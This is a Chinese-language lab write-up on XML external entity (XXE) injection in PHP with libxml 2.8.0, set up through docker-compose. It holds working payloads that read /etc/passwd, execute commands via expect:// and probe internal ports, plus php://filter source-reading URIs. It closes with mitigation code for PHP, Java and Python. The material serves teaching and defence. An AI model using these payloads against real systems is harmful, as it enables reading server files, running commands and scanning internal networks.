PHP xml 外部實體注入漏洞(XXE)
1.環境
PHP 7.0.30
Libxml 2.8.0
Libxml2.9.0 以后 ,默認不解析外部實體,對於PHP版本不影響XXE的利用
2.原理介紹
XML 被設計為傳輸和存儲數據,其焦點是數據的內容。 HTML 被設計用來顯示數據,其焦點是數據的外觀。 HTML 旨在顯示信息,而 XML 旨在傳輸信息。XML特點,XML 被設計用來結構化、存儲以及傳輸信息。僅僅是純文本,有能力處理純文本的軟件都可以處理 XML。XML 允許創作者定義自己的標簽和自己的文檔結構。XML 是獨立於軟件和硬件的信息傳輸工具。所有現代瀏覽器都有讀取和操作 XML 的內建 XML 解析器,但是不同的瀏覽器解析的方法不一樣的,如在IE中使用loadXML()方法,在其他瀏覽器中使用DOMParser。loadXML()方法用於加載字符串文本,load()方法用於加載文件。解析器把 XML 載入內存,然后把它轉換為可通過 JavaScript 訪問的 XML DOM 對象。
3.漏洞危害
3.1讀取任意文件
file 協議,file:///etc//passwd php 協議,php://filter/read=convert.base64-encode/resource=index.php
3.2執行系統命令
部分情況會有,在特殊的配置環境下,如PHP環境中PHP的expect模塊被加載到了易受攻擊的系統或者能處理XML的應用中,就能執行命令。簡單payload如下
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://ifconfig" >]> <root> <name>&xxe;</name> </root>
3.3探測內網端口
借助漏洞實現內網探測,常見payload如下:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "http://192.168.199.100:80">]> <root> <name>&xxe;</name> </root>
3.4攻擊內網網站(dos或者直接吃服務器資源導致無法正常服務)
4.測試
啟動並且編譯環境
docker-compose up -d
看見done后,訪問http://192.168.5.136:8080.index.php 可以看到phpinfo,libxml即可看到其版本為2.8.0。
Web目錄位www有四個文件
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement類解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函數解析body
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可觸發XXE漏洞,具體輸出點請閱讀這三個文件的代碼。
源碼如下:
XXE示例 payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
可以看到讀取到了,root下的信息
5.解決方案和建議
5.1 使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
5.2 過濾用戶提交的XML數據
如:<!DOCTYPE和<!ENTITY,SYSTEM和PUBLIC
參考
https://security.tencent.com/index.php/blog/msg/69
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)
未來工作
實戰的配圖加上